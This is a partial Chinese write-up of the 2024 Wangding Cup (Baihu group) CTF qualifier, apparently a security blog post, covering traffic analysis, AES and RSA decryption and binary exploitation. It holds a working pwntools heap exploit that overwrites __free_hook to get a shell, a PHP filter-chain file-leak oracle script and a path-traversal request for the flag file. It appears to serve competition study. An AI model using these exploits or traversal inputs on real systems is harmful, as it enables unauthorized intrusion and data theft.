2024网鼎杯白虎组初赛---WriteUp(部分,仅供参考学习)

文摘   2024-11-01 09:04   安徽  


白虎组“反作弊监控(来源网顶杯官方)


本文字数:1947|预计3分钟读完

“网鼎杯”是迄今为止全球规模最大、覆盖面最广的国家级网络安全赛事,被称为网络安全“奥运会”,2024年网鼎杯第4届。

白虹贯日,虎啸八方。

白虎赛道:通信、金融、政务部门,政法、交通、医疗卫生行业。


号主结合网络,整理了部分WP,可能不太详细,敬请谅解,仅供参考学习。


文丨hacking



0


题目整体概况


总共15道题,11道题被攻克,4题未被攻克,题目难度还是很大的。】

第一名解出10道。

题目分布

Web 3(包含签到1题)、杂项 4、密码学 3、逆向 2、PWN 3

1


Web(网络安全)


一、Web01


签到题


二、Web02



难度大,只有4人做出来

涉及考点 代码审计、图片上传,目前网上未见完整WP


附件部分源码


lazy_static! {    static ref RNG: Mutex<Mt> = {        let mut safe_rng = rand::rngs::OsRng;        Mutex::new(Mt::new(safe_rng.next_u32()))    };    static ref USERS: Mutex<HashMap<String, User>> = Mutex::new(HashMap::new());    static ref COOKIES: Mutex<HashMap<String, String>> = Mutex::new(HashMap::new());    static ref USED_INVITATION_CODES: Mutex<HashSet<String>> = Mutex::new(HashSet::new());    static ref ADMIN_PASSWORD: String = {        let mut password = String::new();        for _ in 0..12 {            let next_char = (0x30u8 + (RNG.lock().unwrap().next_u32() % 0x4D) as u8) as char;            password.push(next_char);        }        println!("Admin password: {}", password);        password    };
}



async fn main() -> std::io::Result<()> {    init_admin();
HttpServer::new(|| { let cors = Cors::default() .allow_any_origin() .allow_any_method() .allow_any_header() .supports_credentials();
App::new() .wrap(cors) .route("/api/user", web::get().to(get_images)) .route("/api/image/{filename}", web::get().to(serve_image)) .route("/admin/upload", web::post().to(upload_image)) .route("/register", web::post().to(register_user)) .route("/login", web::post().to(login_user)) .route("/admin.html", web::get().to(admin_html)) .route("/user.html", web::get().to(user_html)) .service(Files::new("/", "./dist").index_file("index.html")) }) .bind("0.0.0.0:8881")? .run() .await}


二、Web03 

不会做


访问页面出现404,有不少同学甚至怀疑服务器出了问题,无人攻克




2


Msic(杂项




一、Misc01(杂项

题目提示

“找到全部异常报文,将恶意报文中攻击者构造的`teid`按时间先后顺序进行拼接,找到全部由攻击者触发的异常报文进行拼接,所得出的拼接结果即为最终 flag”


1、分析流量包


下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的`teid`按时间先后顺序进行拼接”

wireshark打开 搜索字符串 teid



发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,

然后导入表格种进行分析



2、导出teid数据


使用 tshark.exe 批量提取数据包的 teid 值

tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv


3、分析表格数据



查看 teid 值,发现有两行数据存在两条异常数据,初步判

断应该是这两行数据,16进制进制转换然后进行拼接


x002f7ba5 转换 *

0x246cfb5b 转换 1*

拼接提交

wdflag{11845611122*}



2、Misc02


题目提示

某通信运营商遭受到了攻击,但始终无法发现攻击过程,请你帮忙分析流量包,发现其中存在的问题。提交的flag格式:wdflag{xxxxx}


附件提供流量包和加密算法脚本


分析流量和脚本


可以借助大模型快速分析脚本


加密脚本分析

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendimport struct
def pad(text): while len(text) % 16 != 0: text += ' ' return text
def encrypt(key, plaintext): key_bytes = struct.pack('>I', key) key_bytes = key_bytes.ljust(16, b'\0') cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend()) encryptor = cipher.encryptor() padded_plaintext = pad(plaintext).encode() encrypted = encryptor.update(padded_plaintext) + encryptor.finalize() return encrypted
if __name__ == "__main__": key = 1 msg = "123" print(encrypt(key,msg))

文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。

AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。


分析流量包


查看数据流


分析


密钥为475070864,待解密消息为4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1

可以运用脚本进行计算


解密脚本


from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendimport struct
def pad(text): while len(text) % 16 != 0: text += ' ' return text
def decrypt(key, ciphertext): key_bytes = struct.pack('>I', key) key_bytes = key_bytes.ljust(16, b'\0') cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend()) decryptor = cipher.decryptor() decrypted = decryptor.update(ciphertext) + decryptor.finalize() return decrypted.decode()
# Given key and ciphertextkey = 475070864ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')
# Decrypt the ciphertextdecrypted_message = decrypt(key, ciphertext)decrypted_message


得出结果



3、Misc03


可借助大模型分析脚本

分析流量包


需要分两步聊个脚本执行

筛选流量包中的http协议的包,将响应码导出。分析服务器对不同输入的响应,编写脚本,利用请求来探测和识别Base64编码的字符串,逐步构建出隐藏的信息,最终打印出探测到的Base64编码字符串,最后使用Base64解码得到结果

部分脚本

import pysharkimport csv
def extract_status_codes(pcap_file): cap = pyshark.FileCapture(pcap_file, display_filter="http") status_codes = []
for packet in cap: try:            if 'http' in packet:        if hasattr(packet.http, 'response_code'): status_code = packet.http.response_code status_codes.append(status_code) except AttributeError: continue cap.close() return status_codes
def write_status_codes_to_csv(status_codes, output_file): with open(output_file, mode='w', newline='') as csv_file: writer = csv.writer(csv_file) writer.writerow(['Status Code']) # 写入标题 for code in status_codes: writer.writerow([code]) # 写入每个状态码
# 使用脚本提取状态码pcap_file = '0.pcapng'status_codes = extract_status_codes(pcap_file)
# 将提取的状态码写入 CSV 文件output_file = 'status_codes.csv'write_status_codes_to_csv(status_codes, output_file)
# 从 CSV 文件中读取状态码并转换为整数列表status_codes_from_csv = [int(i) for i in open("status_codes.csv", "r").read().strip().split("\n")[1:]] # 跳过标题行
print("Extracted HTTP Status Codes:", status_codes_from_csv)


print()for i in range(100):    prefix = f'{header}|{get_nth(i)}'    letter = find_letter(prefix)    # it's a number! check base64    if letter == '*':       prefix = f'{header}|{get_nth(i)}|convert.base64-encode'       s = find_letter(prefix)       if s == 'M':          # 0 - 3          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '0'          elif ss in 'STUVWX':             letter = '1'          elif ss in 'ijklmn':             letter = '2'          elif ss in 'yz*':             letter = '3'          else:             err(f'bad num ({ss})')       elif s == 'N':          # 4 - 7          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '4'          elif ss in 'STUVWX':             letter = '5'          elif ss in 'ijklmn':             letter = '6'          elif ss in 'yz*':             letter = '7'          else:             err(f'bad num ({ss})')       elif s == 'O':          # 8 - 9          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '8'          elif ss in 'STUVWX':             letter = '9'          else:             err(f'bad num ({ss})')       else:          err('wtf')
print(end=letter) o += letter sys.stdout.flush()

print()d = b64decode(o.encode() + b'=' * 4)d = d.replace(b'$)C',b'').split(b"\t")[0]print(b64decode(d))


4、MISC04


打开附件,有三个未知文件类型文件,甩到随波逐流

123 使用 cat 1 2 3 > 4 合并到一起,拖入随波逐流得到压缩包,伪加密修复

能解压出第一段 flag

2.png如下


还有个压缩包爆破,前面都有了,后面四个星,直接爆。



解压密码:!@#QQQ0010flag8456

解压出图片文件,拖到随波逐流,分离文件。


用 puzzlesolver 爆破宽高

得到一张png,拖到工具直接改宽高。

前端flag加后端,拼接提交。



3


PWN


一、PWN01

扩展tcache后改写mp数据结构,任意地址写入漏洞


参考脚本

from pwn import *context.log_level="debug"p=remote("地址",端口)#p=process("./safenote")libc=ELF("./libc-2.32.so")
menu=">"
def add(index,size): p.sendlineafter(menu,'1') p.sendlineafter("Index: ",str(index)) p.sendlineafter("Size: ",str(size))
def delete(index): p.sendlineafter(menu,'2') p.sendlineafter("Index: ",str(index))
def edit(index,content): p.sendlineafter(menu,'3') p.sendlineafter("Index: ",str(index)) p.sendafter("Content: ",content)
def show(index): p.sendlineafter(menu,'4') p.sendlineafter("Index: ",str(index))
def debug(): gdb.attach(p) pause()
def pwn(): for i in range(8): add(i,0x80) add(8,0x20)
delete(0) show(0) heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))<<12 print("heap_base-->"+hex(heap_base))
for i in range(7): delete(i+1) add(12,0x90)
show(7) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-224-0x10-libc.sym["__malloc_hook"] system_addr=libc_base+libc.sym["system"] __free_hook=libc_base+libc.sym["__free_hook"] print("libc_base-->"+hex(libc_base))
add(9,0x80)# 6&9 delete(6) payload=p64((heap_base>>12)^__free_hook) edit(9,payload) add(10,0x80) edit(10,'/bin/sh\x00') add(11,0x80) edit(11,p64(system_addr))
delete(10) p.interactive()pwn()



二、pwn02 



4


逆向


re02


1、分析源代码

发现存在跨目录读取文件漏洞

2、使用 浏览器访问网址,打开 burp 进行抓包

修改 get 后面为/..../..../..../..../..../..../flag

即可得到答案

bp也可以


5


密码学

Crypt01


未解出





代码分析

1.导入所需的库:from sage.all import *from Crypto.Util.number import *

2.设置块大小和轮数:block_size = 64rounds = 14

3.生成伪随机排列:P_permutation = Permutations(list(range(block_size))).random_element(),以及其逆排列 inverse_P_permutation

4.定义掩码 MASK 和初始向量 IV

5.定义函数 pad 用于填充消息,使其长度为块大小。

6.定义函数 P  P_inv,分别用于对消息进行置换和反置换。

7.定义函数 S,用于对消息进行加密操作。

8. secret 模块中导入密钥 flag,并使用 MD5 哈希算法对其进行摘要,然后与块大小进行按位与运算,得到密钥 key

9.对消息进行填充和分块处理,然后对每个消息块进行加密操作,得到密文 ciphertext

10.打印密文和伪随机排列 P_permutation


Crypt02



源代码rsa.py


from Crypto.Util.number import getPrime, isPrime, GCD, inverse
nbits = 2048gbits = 1000g = getPrime(int(gbits))while True: a = getPrime(int(nbits*0.5)-gbits) p = 2*g*a + 1 if isPrime(p): break
while True: b = getPrime(int(nbits*0.5)-gbits) q = 2*g*b + 1 if p!=q and isPrime(q): breakN = p*qe = 65537
def str2int(s): return int(s.encode('latin-1').hex(),16)
def int2str(i): tmp=hex(i)[2:] if len(tmp)%2==1: tmp='0'+tmp return bytes.fromhex(tmp).decode('latin-1')
with open('pubkey.txt','w') as f: f.write(str(e)+'\n') f.write(str(N)+'\n')
with open('flag.txt') as f: plain = str2int(f.read())
c = pow(plain,e,N)with open('cipher.txt','wb') as f: f.write(int2str(c).encode('latin-1'))



这段代码是一个简单的RSA加密程序。以下是代码的逐行分析:

python

复制

from Crypto.Util.number import getPrime, isPrime, GCD, inverse
  • 导入 Crypto.Util.number 模块中的几个函数:getPrime 用于生成质数,isPrime 用于检查一个数是否为质数,GCD 用于计算最大公约数,inverse 用于计算模逆。

python

复制

nbits = 2048
gbits = 1000
g = getPrime(int(gbits))
  • 定义了两个比特数 nbits 和 gbits,分别用于生成大质数和小质数。

  • 使用 getPrime 函数生成一个 gbits 比特长的小质数 g

python

复制

while True:
a = getPrime(int(nbits*0.5)-gbits)
p = 2*g*a + 1
if isPrime(p):
break
  • 进入一个循环,不断生成一个 a 质数,并计算 p = 2*g*a + 1

  • 检查 p 是否为质数,如果是,则跳出循环。

python

复制

while True:
b = getPrime(int(nbits*0.5)-gbits)
q = 2*g*b + 1
if p!=q and isPrime(q):
break
  • 进入另一个循环,不断生成一个 b 质数,并计算 q = 2*g*b + 1

  • 检查 q 是否为质数,并且与 p 不相同,如果是,则跳出循环。

python


N = p*q
e = 65537
  • 计算 N = p*q 作为模数。

  • 定义一个公开的指数 e,通常使用65537,因为它是一个质数,并且与许多质数互质。

python


def str2int(s):
return int(s.encode('latin-1').hex(),16)
  • 定义一个函数 str2int,将字符串 s 转换为整数。首先将字符串编码为拉丁-1格式的字节,然后转换为十六进制字符串,最后转换为整数。

python


def int2str(i):
tmp=hex(i)[2:]
if len(tmp)%2==1:
tmp='0'+tmp
return bytes.fromhex(tmp).decode('latin-1')
  • 定义一个函数 int2str,将整数 i 转换为字符串。首先将整数转换为十六进制字符串,然后确保字符串长度为偶数(如果需要,在前面添加一个0),最后将十六进制字符串转换为字节,并解码为字符串。

python

复制

with open('pubkey.txt','w') as f:
f.write(str(e)+'\n')
f.write(str(N)+'\n')
  • 打开文件 pubkey.txt 并写入公钥 (e, N)

python

复制

with open('flag.txt') as f:
plain = str2int(f.read())
  • 打开文件 flag.txt,读取内容,并将其转换为整数。

python

复制

c = pow(plain,e,N)
  • 使用公钥 (e, N) 对明文 plain 进行RSA加密,得到密文 c

python

复制

with open('cipher.txt','wb') as f:
f.write(int2str(c).encode('latin-1'))
  • 打开文件 cipher.txt 并写入密文 c

这个程序创建了一个RSA公钥,并使用它来加密一个文本文件 flag.txt,然后将加密后的密文写入 cipher.txt 文件。


from Crypto.Util.number import inversefrom sympy import factorint
# pubkey.txt 中提取的参数N = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453e = 65537
'''# 因式分解 N 获取 p 和 qfactors = factorint(N)p = factors.keys()[0]q = factors.keys()[1]'''q=181081097501198023069853833182353184261284123229534078254107942099502325869566163846505417960576038861954213847321685798395883194037860319430010178354074600519049325312842897561278830450748961589667396822373094094674865532726953310816962745801088563041800719074771895743022649725941252134035150899684475275107p=270739053411293468044358005572326880715866131246316305975150551797771999927260913691624449594733673350641598358977228099278925982221096409496197961213452575581038864123668037331549492912118266914139408344450017736857756347795681452284667629499583154669046006953194443040693208729068117415444168170452989294079
# 计算 φ(N)phi = (p - 1) * (q - 1)
# 计算私钥 dd = inverse(e, phi)
# 从 cipher.txt 中读取密文 c'''with open('cipher.txt', 'rb') as f:    c = int(f.read().hex(), 16)'''
c=46756023487662708969420947562244879950960789554982513700989856418118259419375621887858920648905486262806354184999023626235692404150899165189540627714630378757507338901641647662407321535440089829098515214606971052421641211071757097739714971088520608153639900029647609247893220706742444097284687765610613582929875498597175482452795704681526023129025689138100843670083826484626632376555523821922609833624513318445883654173079483102752918235418


Crypt03

不会


如有侵权,将及时删除


【Hacking黑白红】,一线渗透攻防实战交流公众号

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。





欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。






渗透实战系列



【渗透实战系列】|52-记一次"91"站点渗透

【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)


    

长按-识别-关注

Hacking黑白红

一个专注信息安全技术的学习平台

点分享

点收藏

点点赞

点在看

Hacking黑白红
知黑、守白、弘红;白帽、大厂、安防、十年、一线、老兵。【分享】个人渗透实战、编程、CTF、挖SRC、红蓝攻防、逆向,代码审计之经历、经验。
 最新文章